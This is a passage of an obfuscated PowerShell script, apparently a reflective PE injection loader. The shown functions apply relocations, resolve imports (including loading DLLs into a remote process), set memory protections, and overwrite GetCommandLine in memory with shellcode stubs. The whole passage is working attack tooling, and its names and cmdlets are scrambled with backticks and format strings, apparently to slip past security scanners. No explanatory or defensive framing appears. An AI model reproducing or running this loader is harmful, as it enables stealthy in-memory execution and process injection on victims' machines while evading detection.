  1356.                 -or (${pein`Fo}."imaG`E_NT_`hE`ADE`Rs"."optiOn`AL`He`ADER"."baSER`eLO`CatI`o`Nta`BLE"."s`IZE" -eq 0))
  1357.         {
  1358.             return
  1359.         }
  1360.         elseif ((&("{1}{5}{4}{7}{0}{6}{2}{3}"-f'l1','C','ThanVal2AsU','Int','are-','omp','Greater','Va') (${oriG`I`NAL`Im`A`geBAse}) (${PEiN`FO}."eFfeC`TIv`ep`e`HaNdLe")) -eq ${tr`UE})
  1361.         {
  1362.             ${b`As`edIF`FEREn`ce} = &("{4}{1}{5}{0}{2}{3}" -f's','ub-','ig','ned','S','SignedIntAsUn') (${o`R`IGinA`Lim`A`gebAsE}) (${PeiN`Fo}."EFfectIvE`pe`H`An`DlE")
  1363.             ${a`DDDI`FfERenCe} = ${FA`lse}
  1364.         }
  1365.         elseif ((&("{1}{6}{3}{4}{7}{0}{5}{2}"-f'al2As','Co','Int','are','-Val1Great','U','mp','erThanV') (${P`eInFO}."EfFE`c`TIVE`peH`AndLE") (${OriGINal`i`ma`g`ebase})) -eq ${TR`Ue})
  1366.         {
  1367.             ${b`A`SeDIFFer`ence} = &("{4}{1}{3}{0}{2}"-f'ig','Signe','ned','dIntAsUns','Sub-') (${p`eI`NFO}."eFfec`T`ivEPeH`A`Nd`lE") (${oRIgINALiM`AgE`Ba`sE})
  1368.         }
  1369.        
  1370.         [IntPtr]${BaSeRE`Lo`cp`Tr} = [IntPtr](&("{6}{0}{5}{4}{1}{2}{3}" -f 'd','AsUnsig','n','ed','t','-SignedIn','Ad') ([Int64]${pein`FO}."P`eHanD`lE") ([Int64]${PEI`N`Fo}."i`mAge_NT`_H`EAdE`Rs"."op`TiOnALH`eA`d`er"."Ba`SeRelO`cATIoN`T`Ab`Le"."Vi`Rt`U`Alad`dresS"))
  1371.         while(${t`RUe})
  1372.         {
  1373.             ${bAserElOcAtIO`NT`AB`LE} = [System.Runtime.InteropServices.Marshal]::"Pt`RtOS`T`RUcturE"(${BasE`Rel`O`cptr}, [Type]${w`iN`32tyPes}."im`A`GE_BA`Se_R`eLocatI`ON")
  1374.             if (${baSerELo`cA`TI`OntAB`le}."sI`Z`Eofb`Lock" -eq 0)
  1375.             {
  1376.                 break
  1377.             }
  1378.             [IntPtr]${M`eMA`DDrB`ASE} = [IntPtr](&("{2}{3}{4}{1}{0}" -f'd','gne','Add-SignedIntAs','Uns','i') ([Int64]${pe`i`NFO}."pehA`N`Dle") ([Int64]${BaS`e`Re`l`OCAtIo`NTaBLE}."virtU`ALAd`D`RE`ss"))
  1379.             ${nu`m`RE`lo`CaTIOns} = (${BA`SErelOc`A`TiontA`BlE}."si`Ze`OFBl`ocK" - ${i`MaG`Eb`AseR`eLOCSizE}) / 2
  1380.             for(${i} = 0; ${i} -lt ${NUmrelO`cAT`iO`NS}; ${I}++)
  1381.             {
  1382.                 ${re`l`OC`A`TIONinf`opTr} = [IntPtr](&("{1}{0}{2}{4}{3}"-f'Sig','Add-','ned','signed','IntAsUn') ([IntPtr]${Basere`L`Ocp`TR}) ([Int64]${Im`AgEBA`S`e`Re`locsIze} + (2 * ${i})))
  1383.                 [UInt16]${reloCAt`i`On`In`Fo} = [System.Runtime.InteropServices.Marshal]::"pT`R`T`ostrucTuRe"(${ReLoC`A`TIon`In`FO`pTR}, [Type][UInt16])
  1384.                 [UInt16]${R`e`LocOFF`sEt} = ${RelOCATi`oni`N`FO} -band 0x0FFF
  1385.                 [UInt16]${R`ELOc`TypE} = ${r`ElOC`AT`IO`NINfo} -band 0xF000
  1386.                 for (${j} = 0; ${j} -lt 12; ${J}++)
  1387.                 {
  1388.                     ${REl`O`cTY`Pe} = [Math]::"flO`Or"(${re`Lo`ctYpe} / 2)
  1389.                 }
  1390.                 if ((${rE`lOc`TY`pE} -eq ${WiN3`2cOnst`A`NtS}."Ima`ge_`RE`L_b`ASEd_highlOW") `
  1391.                         -or (${REL`OCTy`PE} -eq ${W`In32`co`NsTantS}."Ima`Ge_`Re`L_BaSeD_D`IR64"))
  1392.                 {          
  1393.                     [IntPtr]${f`iNAL`A`DDr} = [IntPtr](&("{2}{3}{1}{4}{0}" -f 'ned','gnedIn','A','dd-Si','tAsUnsig') ([Int64]${m`EMa`DDRBase}) ([Int64]${REL`OCo`FFSet}))
  1394.                     [IntPtr]${c`URRaD`Dr} = [System.Runtime.InteropServices.Marshal]::"P`T`RtO`stRUCtU`RE"(${fina`LA`dDR}, [Type][IntPtr])
  1395.        
  1396.                     if (${ad`dd`ifF`ERE`Nce} -eq ${t`RUE})
  1397.                     {
  1398.                         [IntPtr]${C`U`RRA`DDR} = [IntPtr](&("{0}{5}{2}{3}{1}{4}"-f 'Add-Sign','Unsig','I','ntAs','ned','ed') ([Int64]${CURRa`d`Dr}) (${bas`Ed`ifFe`RENcE}))
  1399.                     }
  1400.                     else
  1401.                     {
  1402.                         [IntPtr]${c`URRaD`dr} = [IntPtr](&("{3}{0}{1}{2}{4}" -f'ne','dIntAs','U','Sub-Sig','nsigned') ([Int64]${curR`AD`Dr}) (${BaS`edIFfE`R`en`Ce}))
  1403.                     }              
  1404.                     [System.Runtime.InteropServices.Marshal]::"str`UCtUR`ET`OptR"(${CUrrA`d`dr}, ${FI`NA`lAdDr}, ${F`A`lsE}) | &("{0}{1}{2}"-f 'Out-N','ul','l')
  1405.                 }
  1406.                 elseif (${R`ELoC`TYpe} -ne ${w`IN32C`ON`Sta`NtS}."I`Mage_r`E`L_base`d_`AbS`OLute")
  1407.                 {
  1408.                     Throw ""
  1409.                 }
  1410.             }
  1411.            
  1412.             ${bASe`R`EL`ocpTr} = [IntPtr](&("{0}{2}{1}{3}{4}"-f 'Ad','dI','d-Signe','ntAsUns','igned') ([Int64]${baSE`Re`LoCptR}) ([Int64]${BaseR`elO`cAtI`On`TAble}."S`IZEOfB`LO`cK"))
  1413.         }
  1414.     }
  1415.     Function I`Mpor`T-Dllimp`oR`Ts
  1416.     {
  1417.         Param(
  1418.         [Parameter(posiTION = 0, MAnDAtORY = ${t`RUE})]
  1419.         [System.Object]
  1420.         ${pE`i`NFo},
  1421.        
  1422.         [Parameter(pOsITIOn = 1, mAnDatorY = ${tR`Ue})]
  1423.         [System.Object]
  1424.         ${wIN32F`Un`CTIOnS},
  1425.        
  1426.         [Parameter(PosiTIoN = 2, manDAtOrY = ${Tr`Ue})]
  1427.         [System.Object]
  1428.         ${wI`N3`2types},
  1429.        
  1430.         [Parameter(POSiTiON = 3, mandAtorY = ${tr`UE})]
  1431.         [System.Object]
  1432.         ${WIN`32c`o`NstaNts},
  1433.        
  1434.         [Parameter(poSITiOn = 4, MaNdAToRY = ${Fa`l`SE})]
  1435.         [IntPtr]
  1436.         ${RE`MoTeproC`hA`NdLe}
  1437.         )
  1438.        
  1439.         ${REMOTe`LOA`dI`Ng} = ${Fa`l`SE}
  1440.         if (${PEiN`FO}."peH`ANdle" -ne ${p`Ei`NfO}."EF`FEC`TI`V`ePEh`AndLE")
  1441.         {
  1442.             ${ReMOT`E`loADiNG} = ${Tr`UE}
  1443.         }
  1444.        
  1445.         if (${Pe`in`FO}."i`maGE_N`T`_HE`AdERS"."OPTIo`N`AlHE`AdER"."iMpOR`Tt`AblE"."SI`Ze" -gt 0)
  1446.         {
  1447.             [IntPtr]${impOrTd`esC`Ript`OR`pTR} = &("{2}{4}{0}{1}{5}{6}{3}" -f 'edIn','tAs','Add-Si','ed','gn','Uns','ign') ([Int64]${PEIN`FO}."PE`ha`NDle") ([Int64]${PEI`NFo}."iM`AGe`_n`T_hEaDe`RS"."opTiON`ALHea`dEr"."I`mpor`TTAbLe"."ViR`TuaLAd`Dr`Ess")
  1448.            
  1449.             while (${TR`UE})
  1450.             {
  1451.                 ${IM`P`ORtD`esCr`iPTOr} = [System.Runtime.InteropServices.Marshal]::"ptr`TOS`TrUct`U`Re"(${imPo`RTDe`sCriPtoR`P`Tr}, [Type]${Wi`N32TYp`Es}."ImAg`e_ImPOr`T_De`s`cR`IpToR")
  1452.                
  1453.                 if (${i`M`pO`RtDescr`iPtoR}."c`ha`R`ACTeriSTiCs" -eq 0 `
  1454.                         -and ${impOrt`De`sCRI`p`ToR}."FIr`St`THUnK" -eq 0 `
  1455.                         -and ${imP`orTdE`Scr`iP`TOr}."fo`R`waRderCHA`in" -eq 0 `
  1456.                         -and ${iMPoRtD`ESC`R`ip`TOR}."NA`ME" -eq 0 `
  1457.                         -and ${impO`Rtd`EScR`ipT`Or}."TImeDAT`E`ST`AmP" -eq 0)
  1458.                 {
  1459.                     &("{0}{2}{3}{1}"-f 'Write','ose','-','Verb') ""
  1460.                     break
  1461.                 }
  1462.                 ${imPO`RTD`lL`HandlE} = [IntPtr]::"Z`Ero"
  1463.                 ${i`mpoR`Td`LLpAth`pTr} = (&("{1}{3}{2}{0}{4}" -f 'ntAsUnsign','A','SignedI','dd-','ed') ([Int64]${pEi`N`FO}."PeH`AndLE") ([Int64]${I`m`portdEs`Cr`IPT`OR}."N`Ame"))
  1464.                 ${I`mpO`Rtd`lLP`ATH} = [System.Runtime.InteropServices.Marshal]::"pTrToSTrI`N`G`AnSI"(${iMPO`RTD`Ll`pA`T`hPtr})
  1465.                
  1466.                 if (${Re`MoteL`O`A`dinG} -eq ${Tr`Ue})
  1467.                 {
  1468.                     ${ImP`Or`TdLlhANd`LE} = &("{1}{0}{4}{3}{6}{5}{7}{2}"-f 'ort-','Imp','ss','llInRemot','D','c','ePro','e') -RemoteProcHandle ${rE`M`otePROc`haNdlE} -ImportDllPathPtr ${imPor`TDl`LpaTH`pTr}
  1469.                 }
  1470.                 else
  1471.                 {
  1472.                     ${I`mPortDllh`A`N`dLe} = ${W`In3`2F`UnCT`Ions}."LoA`dLiBr`Ary"."IN`VOKe"(${im`PoR`TdlLPa`TH})
  1473.                 }
  1474.                 if ((${i`m`pOrT`dLl`HaNdle} -eq ${N`ULl}) -or (${I`mportdL`l`hA`NDLE} -eq [IntPtr]::"ze`Ro"))
  1475.                 {
  1476.                     throw ""
  1477.                 }
  1478.                
  1479.                 [IntPtr]${tHU`NKR`EF} = &("{3}{4}{2}{0}{1}"-f'IntAsUn','signed','gned','Ad','d-Si') (${P`eI`Nfo}."PEHA`NDlE") (${IM`pOr`Tdescri`PToR}."f`irst`ThUNK")
  1480.                 [IntPtr]${O`RIgiN`AL`THunKRef} = &("{2}{3}{4}{1}{0}{5}" -f'si','ntAsUn','Add','-','SignedI','gned') (${p`EinFo}."pEha`Nd`le") (${iM`pORTD`ES`CriPTOR}."CHA`Rac`Te`RiS`TiCS")
  1481.                 [IntPtr]${oRiG`inaLthu`NKre`FvaL} = [System.Runtime.InteropServices.Marshal]::"pTR`TOSTR`UCt`URE"(${OrIg`i`NAlTH`UNkreF}, [Type][IntPtr])
  1482.                
  1483.                 while (${oRIG`inALtH`U`Nk`REfV`AL} -ne [IntPtr]::"zE`Ro")
  1484.                 {
  1485.                     ${LOA`DbYord`I`NAL} = ${fA`LsE}
  1486.                     [IntPtr]${PR`O`C`e`DuRena`meptR} = [IntPtr]::"z`erO"
  1487.                     [IntPtr]${NEw`Th`U`NkReF} = [IntPtr]::"Ze`RO"
  1488.                     if([System.Runtime.InteropServices.Marshal]::"SI`ZEOF"([Type][IntPtr]) -eq 4 -and [Int32]${o`R`igiN`AlThUnk`RefVaL} -lt 0)
  1489.                     {
  1490.                         [IntPtr]${pRo`C`EDUreN`AME`PTr} = [IntPtr]${ORIgIN`A`LthUnKRef`V`Al} -band 0xffff
  1491.                         ${loAdb`yO`RD`inAL} = ${T`RuE}
  1492.                     }
  1493.                     elseif([System.Runtime.InteropServices.Marshal]::"sI`zeOf"([Type][IntPtr]) -eq 8 -and [Int64]${oRi`gi`NA`LTHUNk`Re`Fv`Al} -lt 0)
  1494.                     {
  1495.                         [IntPtr]${pR`OCeDUR`ENAM`eptR} = [Int64]${or`IgIn`ALt`H`Un`KReFVAL} -band 0xffff
  1496.                         ${LOAd`BYoR`dInal} = ${t`RuE}
  1497.                     }
  1498.                     else
  1499.                     {
  1500.                         [IntPtr]${STR`IN`gADdr} = &("{2}{5}{1}{3}{0}{4}" -f'g','AsUn','Add','si','ned','-SignedInt') (${pE`InFo}."PEhaN`dlE") (${orIgi`NAL`T`HU`N`krEFVAl})
  1501.                         ${STrI`NGA`D`dr} = &("{6}{1}{5}{7}{2}{3}{4}{0}" -f'd','n','tAsUnsi','g','ne','e','Add-Sig','dIn') ${s`TrINg`A`ddr} ([System.Runtime.InteropServices.Marshal]::"sIZe`Of"([Type][UInt16]))
  1502.                         ${PROC`edUrE`N`Ame} = [System.Runtime.InteropServices.Marshal]::"ptR`TOst`RI`N`GaNSi"(${str`in`G`ADdr})
  1503.                         ${pRoCEdURE`Nam`EP`Tr} = [System.Runtime.InteropServices.Marshal]::"st`RIN`g`TO`HGLoBalA`NSI"(${prO`C`E`d`URENAmE})
  1504.                     }
  1505.                    
  1506.                     if (${rEMOt`ElOA`D`ING} -eq ${TR`UE})
  1507.                     {
  1508.                         [IntPtr]${New`ThUnk`Ref} = &("{2}{4}{3}{0}{1}" -f 'rocAddres','s','Get-Re','P','mote') -RemoteProcHandle ${r`EmoTeP`ROcH`AnDLE} -RemoteDllHandle ${I`mPOrtD`LlhAnDLe} -FunctionNamePtr ${P`RoCeD`U`RenAmEpTr} -LoadByOrdinal ${LoA`dbY`o`R`DINAL}
  1509.                     }
  1510.                     else
  1511.                     {
  1512.                         [IntPtr]${nEw`T`HUnk`REF} = ${WI`N`32Fu`NcT`IoNs}."gEtp`RocADDrE`sSinTp`TR"."i`NvOke"(${i`M`poRTDLl`HaNd`Le}, ${pr`oC`EdUrEna`MePtR})
  1513.                     }
  1514.                    
  1515.                     if (${nEwtHU`NK`R`eF} -eq ${n`UlL} -or ${n`ewtH`UNKRef} -eq [IntPtr]::"z`ErO")
  1516.                     {
  1517.                         if (${LO`A`DByordiN`Al})
  1518.                         {
  1519.                             Throw ""
  1520.                         }
  1521.                         else
  1522.                         {
  1523.                             Throw ""
  1524.                         }
  1525.                     }
  1526.                     [System.Runtime.InteropServices.Marshal]::"STr`UcTur`ET`op`Tr"(${neW`THUN`kREF}, ${ThUNk`R`Ef}, ${fA`lSe})
  1527.                    
  1528.                     ${tH`U`NKrEF} = &("{4}{3}{5}{2}{1}{0}{6}" -f's','dIntA','ne','dd-Si','A','g','Unsigned') ([Int64]${t`HUN`kreF}) ([System.Runtime.InteropServices.Marshal]::"S`IzeOF"([Type][IntPtr]))
  1529.                     [IntPtr]${O`RigIN`A`ltHuNKReF} = &("{2}{3}{4}{0}{1}"-f'signe','d','Add-Si','gnedIntAsU','n') ([Int64]${o`Ri`gIN`A`lthUnKreF}) ([System.Runtime.InteropServices.Marshal]::"s`IZeOf"([Type][IntPtr]))
  1530.                     [IntPtr]${or`I`g`inAlTh`U`NKreF`VaL} = [System.Runtime.InteropServices.Marshal]::"pTrt`O`StRuC`TuRE"(${oRi`GI`N`AlTHUnk`REF}, [Type][IntPtr])
  1531.                     if ((-not ${LoA`db`yoRdi`NaL}) -and (${PrO`CedUre`NAM`ePTr} -ne [IntPtr]::"z`ERO"))
  1532.                     {
  1533.                         [System.Runtime.InteropServices.Marshal]::"f`Ree`hgLob`Al"(${pRocEdU`ReN`Am`E`PTr})
  1534.                         ${pRocedUrE`Nam`E`PTr} = [IntPtr]::"z`ERO"
  1535.                     }
  1536.                 }
  1537.                
  1538.                 ${ImpO`RTdE`s`CRiPtoRPTR} = &("{5}{3}{4}{2}{1}{0}"-f 'AsUnsigned','Int','gned','d','-Si','Ad') (${iMPO`RtDEScRip`TorP`Tr}) ([System.Runtime.InteropServices.Marshal]::"SIZ`Eof"([Type]${wIN`32TY`pES}."IMAGE_imPOrT_d`ES`CR`IpTOR"))
  1539.             }
  1540.         }
  1541.     }
  1542.     Function Get-vIrtUa`lPROtEc`T`Va`lUE
  1543.     {
  1544.         Param(
  1545.         [Parameter(pOSItIOn = 0, mANdAToRY = ${tR`UE})]
  1546.         [UInt32]
  1547.         ${sE`CTi`ONC`Ha`RAct`EriStI`cS}
  1548.         )
  1549.        
  1550.         ${PRoT`Ect`ion`FLaG} = 0x0
  1551.         if ((${Sec`TiONc`HA`Ra`ctEristicS} -band ${WiN3`2CON`StANTs}."IMaGe_s`cn`_mEM_e`xe`CUte") -gt 0)
  1552.         {
  1553.             if ((${sECtI`O`NcH`Ar`A`Ct`Eri`STicS} -band ${W`iN32`C`onSTAn`TS}."IMa`gE_SCN_M`EM_re`Ad") -gt 0)
  1554.             {
  1555.                 if ((${seCTiON`cHA`RAC`TerIS`T`iCs} -band ${W`IN3`2CoNsTanTS}."I`m`Ag`E_sCN_meM_wrITe") -gt 0)
  1556.                 {
  1557.                     ${pROtE`CT`IonfL`AG} = ${w`In32C`O`N`sTanTs}."p`Ag`E_`eXEc`U`Te_r`eaDwRITe"
  1558.                 }
  1559.                 else
  1560.                 {
  1561.                     ${PROT`ECT`iONF`lag} = ${wi`N32Co`NStAnTs}."pa`Ge_ExEcute`_`R`EAd"
  1562.                 }
  1563.             }
  1564.             else
  1565.             {
  1566.                 if ((${sEC`T`iONCHARACT`er`I`stI`CS} -band ${WI`N32CO`N`STaNtS}."imAGE_sCN_MeM`_w`R`i`TE") -gt 0)
  1567.                 {
  1568.                     ${ProTE`cTIo`NFL`AG} = ${Win3`2CON`St`A`NTS}."P`AG`E_ExEc`UtE_`W`RIt`ecoPY"
  1569.                 }
  1570.                 else
  1571.                 {
  1572.                     ${p`R`oTec`TIoN`FlAg} = ${W`in32co`Ns`TA`NtS}."PAg`e_eXE`cu`TE"
  1573.                 }
  1574.             }
  1575.         }
  1576.         else
  1577.         {
  1578.             if ((${se`ct`ionCH`ArAcT`Er`isTICs} -band ${W`iN32`cO`N`stanTs}."Image`_sc`N_`MEm`_ReAd") -gt 0)
  1579.             {
  1580.                 if ((${sE`cT`IOncha`R`A`c`Teri`stIcS} -band ${wIn3`2cON`stAn`TS}."IM`A`ge_sCn_meM_`WR`i`Te") -gt 0)
  1581.                 {
  1582.                     ${PROT`ec`TI`OnfLag} = ${WiN`32CO`NstAn`Ts}."P`Ag`e_r`EaDwr`ITE"
  1583.                 }
  1584.                 else
  1585.                 {
  1586.                     ${PRo`Te`ctIO`NF`lag} = ${wIn32CONst`An`TS}."Pag`e_`R`EADOnLy"
  1587.                 }
  1588.             }
  1589.             else
  1590.             {
  1591.                 if ((${s`ectIonC`hAra`ct`ER`IStics} -band ${W`in32COnStan`TS}."I`mA`ge`_SCn_`m`eM_wRite") -gt 0)
  1592.                 {
  1593.                     ${pR`o`Te`ctIoNFlAg} = ${WI`N32`cOnsT`Ants}."p`AGe_W`RIte`cOpY"
  1594.                 }
  1595.                 else
  1596.                 {
  1597.                     ${Pro`TecTIO`NF`LAg} = ${WiN3`2c`o`Nst`ANtS}."p`AgE_nOacC`ess"
  1598.                 }
  1599.             }
  1600.         }
  1601.        
  1602.         if ((${SeCT`Io`NchAr`ACtErIs`T`ICS} -band ${W`in`32CONs`TA`Nts}."ImagE_`ScN_MeM_`NOT_CA`c`heD") -gt 0)
  1603.         {
  1604.             ${PR`OTe`ctionf`lAg} = ${PR`O`TEctIon`FLaG} -bor ${wIn32C`onst`AN`Ts}."P`AgE_`NOCAc`HE"
  1605.         }
  1606.        
  1607.         return ${PROte`C`TI`OnfLaG}
  1608.     }
  1609.     Function U`PDAtE-`mEMORY`PrO`TECtiONflAgS
  1610.     {
  1611.         Param(
  1612.         [Parameter(pOSITiOn = 0, MaNDatoRY = ${t`Rue})]
  1613.         [System.Object]
  1614.         ${pe`i`NFo},
  1615.        
  1616.         [Parameter(poSition = 1, maNDAToRY = ${T`RUE})]
  1617.         [System.Object]
  1618.         ${WIN3`2fU`NC`TIons},
  1619.        
  1620.         [Parameter(pOSItION = 2, ManDaTOry = ${T`RUe})]
  1621.         [System.Object]
  1622.         ${wIn`32COnStAN`Ts},
  1623.        
  1624.         [Parameter(pOSitIOn = 3, MANDAtorY = ${t`RuE})]
  1625.         [System.Object]
  1626.         ${W`iN32tyP`ES}
  1627.         )
  1628.        
  1629.         for( ${i} = 0; ${i} -lt ${P`eINfo}."ImAGE_`N`T`_`heADERS"."FI`L`eHeAdER"."NU`mBE`RofsE`Cti`ONS"; ${i}++)
  1630.         {
  1631.             [IntPtr]${sEc`Tio`NHeaDERp`TR} = [IntPtr](&("{3}{2}{1}{0}" -f 'gned','tAsUnsi','d-SignedIn','Ad') ([Int64]${P`ei`NFO}."sectI`oN`HeaD`Er`PTr") (${i} * [System.Runtime.InteropServices.Marshal]::"S`I`zeOf"([Type]${Win32Ty`p`es}."iM`Age_SEc`TION_HeAd`er")))
  1632.             ${sECTIonHeA`d`eR} = [System.Runtime.InteropServices.Marshal]::"PtrT`OStR`Uc`TU`RE"(${sECTi`ON`HEADER`p`Tr}, [Type]${win32`TY`P`ES}."IMAgE_seCTIOn`_`H`eAdER")
  1633.             [IntPtr]${S`ecti`ON`PtR} = &("{1}{5}{6}{0}{3}{2}{4}{7}" -f'edIn','Add-S','sUns','tA','i','i','gn','gned') (${pEI`NFO}."P`EHANdLe") (${S`ect`IoNhE`AD`ER}."viRTuAladDr`e`ss")
  1634.            
  1635.             [UInt32]${P`R`OtEC`TflAg} = &("{3}{5}{4}{1}{2}{0}"-f 'ue','tect','Val','Get','o','-VirtualPr') ${sectiON`HEa`D`ER}."cHArAc`Te`R`isTics"
  1636.             [UInt32]${Se`C`Ti`oNSize} = ${sEctION`hE`ADer}."VIRtUA`LSI`zE"
  1637.            
  1638.             [UInt32]${OLdp`Ro`TeC`TFl`Ag} = 0
  1639.             &("{0}{1}{4}{3}{2}" -f 'Test','-','moryRangeValid','e','M') -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo ${Pein`FO} -StartAddress ${se`CTion`pTR} -Size ${sEct`iO`NS`izE} | &("{1}{0}{2}" -f'ut-N','O','ull')
  1640.             ${SUC`C`esS} = ${WIn32`Fun`cT`iONs}."VIrtuAl`pROTe`CT"."i`NVo`kE"(${sEc`T`ionp`Tr}, ${sECt`iO`Nsi`ZE}, ${p`RoTe`CTF`Lag}, [Ref]${old`PR`Otect`F`lAG})
  1641.             if (${SU`cc`eSs} -eq ${fA`lSE})
  1642.             {
  1643.                 Throw ""
  1644.             }
  1645.         }
  1646.     }
  1647.    
  1648.     Function UP`dA`TE-Ex`EFun`cTioNs
  1649.     {
  1650.         Param(
  1651.         [Parameter(POsitiON = 0, MANdaToRY = ${Tr`UE})]
  1652.         [System.Object]
  1653.         ${Pe`iN`FO},
  1654.        
  1655.         [Parameter(pOSITIoN = 1, manDATORY = ${tr`Ue})]
  1656.         [System.Object]
  1657.         ${wI`N`32FuNCTIOnS},
  1658.        
  1659.         [Parameter(POSitIOn = 2, mANDAtORY = ${tr`UE})]
  1660.         [System.Object]
  1661.         ${w`In`32CONSTanTS},
  1662.        
  1663.         [Parameter(PoSitIon = 3, MaNdAtOry = ${t`RuE})]
  1664.         [String]
  1665.         ${EXE`ArgUM`E`NTs},
  1666.        
  1667.         [Parameter(POsITIoN = 4, manDATORY = ${T`RuE})]
  1668.         [IntPtr]
  1669.         ${EXEd`o`NebyTEPTr}
  1670.         )
  1671.        
  1672.         ${r`eTuRnaR`RAy} = @()
  1673.        
  1674.         ${PTr`S`IzE} = [System.Runtime.InteropServices.Marshal]::"Siz`EoF"([Type][IntPtr])
  1675.         [UInt32]${ol`dpR`oT`ECTflAG} = 0
  1676.        
  1677.         [IntPtr]${kERn`El32`HAn`dlE} = ${W`iN3`2fUnCT`I`Ons}."ge`TmODule`hAnd`LE"."INVo`ke"("Kernel32.dll")
  1678.         if (${KERnel32H`A`N`Dle} -eq [IntPtr]::"z`eRO")
  1679.         {
  1680.             throw ""
  1681.         }
  1682.        
  1683.         [IntPtr]${KeRn`ElBA`S`EhAndLE} = ${w`in32`FU`N`cTIoNs}."gEtM`odU`LeHAnDLe"."iN`Voke"("KernelBase.dll")
  1684.         if (${kEr`NElBAs`E`HANdLe} -eq [IntPtr]::"Z`ERo")
  1685.         {
  1686.             throw ""
  1687.         }
  1688.         ${CMdlIN`e`WAR`gs`p`Tr} = [System.Runtime.InteropServices.Marshal]::"S`TriNg`TO`HgLobaLU`Ni"(${e`xEAr`G`UmEn`TS})
  1689.         ${cM`DL`ineAA`RGSPtR} = [System.Runtime.InteropServices.Marshal]::"sTrinGtohG`L`OBAl`ANSi"(${ex`e`AR`gu`MeNTs})
  1690.    
  1691.         [IntPtr]${g`EtcoMMAnD`LInE`AA`ddr} = ${wiN`32`FunC`TioNs}."GET`P`ROCaDDr`E`ss"."i`NVoke"(${kErN`eLB`AsEh`A`N`DlE}, "GetCommandLineA")
  1692.         [IntPtr]${G`eTco`MMan`dL`inewa`D`Dr} = ${wIn3`2`Fun`cT`IOns}."GET`pROcadD`R`ess"."I`Nvo`kE"(${kERNeLB`AS`eh`AnD`Le}, "GetCommandLineW")
  1693.         if (${gETCommaNdli`Ne`AaD`DR} -eq [IntPtr]::"Z`eRO" -or ${gETcOM`MAnd`Li`Ne`waDdR} -eq [IntPtr]::"z`eRO")
  1694.         {
  1695.             throw ""
  1696.         }
  1697.         [Byte[]]${s`HelLC`OD`E1} = @()
  1698.         if (${pTrS`I`ze} -eq 8)
  1699.         {
  1700.             ${SH`el`lCO`DE1} += 0x48
  1701.         }
  1702.         ${S`hEl`l`CoDE1} += 0xb8
  1703.        
  1704.         [Byte[]]${sH`Ellc`OD`e2} = @(0xc3)
  1705.         ${tOT`Als`IZE} = ${shel`lC`oDe1}."leN`G`Th" + ${PTR`sI`ze} + ${s`he`Ll`COde2}."L`e`Ngth"
  1706.        
  1707.        
  1708.         ${g`Et`co`MmaN`Dlin`EAo`RIgbY`T`ESPtr} = [System.Runtime.InteropServices.Marshal]::"Al`LOchG`lOB`AL"(${toT`A`LsIZe})
  1709.         ${GeTC`omma`NdLINEWor`i`gbY`T`e`Sp`TR} = [System.Runtime.InteropServices.Marshal]::"ALloCH`G`l`OBal"(${t`Ot`Al`SizE})
  1710.         ${Win3`2fU`NCT`ionS}."meMc`Py"."IN`Vo`ke"(${gEtC`O`mmaND`l`iN`E`AOriGB`ytES`pTR}, ${gE`TComm`AnDL`I`NE`Aa`DdR}, [UInt64]${TO`T`AlsIze}) | &("{2}{1}{0}"-f'l','t-Nul','Ou')
  1711.         ${WIn3`2FuN`CTi`onS}."MeM`Cpy"."In`VOKe"(${g`etc`o`Mmand`Linew`oriGb`YTe`S`PTr}, ${g`eT`cOmm`A`NDLInewA`d`Dr}, [UInt64]${ToTa`l`SIze}) | &("{0}{2}{1}"-f 'Out','ull','-N')
  1712.         ${RET`Ur`N`ARraY} += ,(${GEtCoMMA`Nd`l`inE`AAdDR}, ${GetCoMM`A`NDLI`Ne`Ao`R`IGb`YT`Esptr}, ${t`otaLs`ize})
  1713.         ${REtU`RN`ArrAY} += ,(${Ge`Tc`oM`M`AndlInewAdDr}, ${gEtC`OmmAn`d`lI`NEwOR`iGb`YtesPTr}, ${TO`TALsI`ze})
  1714.         [UInt32]${o`L`DPrO`TECTFlaG} = 0
  1715.         ${Su`c`cESs} = ${wI`N32`Fu`N`cTIONs}."virT`UaLp`RoteCT"."iNVO`Ke"(${g`eTCOmMan`dLi`N`EaaD`dr}, [UInt32]${To`TA`ls`iZE}, [UInt32](${win`32cONs`TA`NtS}."page_exEcUTe`_R`eAdwri`TE"), [Ref]${OLDPrOT`ECt`F`LaG})
  1716.         if (${suC`C`Ess} = ${fAl`Se})
  1717.         {
  1718.             throw ""
  1719.         }
  1720.        
  1721.         ${gEt`c`OmManD`line`Aad`DRte`mp} = ${gETCommaND`lI`NEa`A`DDr}
  1722.         &("{0}{1}{4}{2}{3}" -f 'Write-B','ytesT','Memo','ry','o') -Bytes ${she`llC`oDE1} -MemoryAddress ${GetC`o`m`m`AndLi`NeaADdrteMp}
  1723.         ${GEtCo`mMa`NDLI`Ne`Aa`ddrt`EmP} = &("{5}{2}{1}{4}{3}{0}" -f 'ned','Un','d-SignedIntAs','g','si','Ad') ${GET`CO`mmaNDLINE`AADdr`TEMP} (${shELL`c`od`e1}."l`EngtH")
  1724.         [System.Runtime.InteropServices.Marshal]::"s`TRUc`Ture`Top`TR"(${cM`dl`in`eAArgSptR}, ${GEtcOMManDlI`N`Ea`ADd`R`Te`Mp}, ${Fa`l`Se})
  1725.         ${GetComMAnDL`INE`Aaddrt`e`mP} = &("{1}{3}{4}{2}{0}" -f 'AsUnsigned','Add-Si','nt','g','nedI') ${GEtcomM`A`NdlinEa`Addrte`MP} ${ptRsi`Ze}
  1726.         &("{0}{2}{1}{3}{5}{4}"-f'Wr','t','ite-By','e','emory','sToM') -Bytes ${SH`e`L`lCodE2} -MemoryAddress ${GETCoMma`Ndl`InE`AaDDrt`emP}
  1727.        
  1728.         ${w`In32funCt`Io`NS}."v`IRT`U`ALProteCt"."iN`VOKe"(${gEtcOM`MaNdl`inE`AA`dDr}, [UInt32]${To`TaLS`IZe}, [UInt32]${Ol`d`proTEC`TFL`Ag}, [Ref]${o`lDPR`OTe`cTfL`AG}) | &("{1}{0}{2}" -f 'ut-Nul','O','l')
  1729.        
  1730.        
  1731.         [UInt32]${Ol`DProtEc`T`FLaG} = 0
  1732.         ${s`UccESs} = ${win32FUNC`T`IONs}."vIR`Tu`A`lpROT`EcT"."iNV`Oke"(${Ge`T`CO`mMAnDLIn`eWA`D`dr}, [UInt32]${t`o`TalSIZe}, [UInt32](${Win32c`o`NST`A`Nts}."pA`Ge_eX`eCUt`e_r`eadWr`I`Te"), [Ref]${oLd`pROTE`cTfl`AG})
  1733.         if (${s`UC`cEsS} = ${fA`L`Se})
  1734.         {
  1735.             throw ""
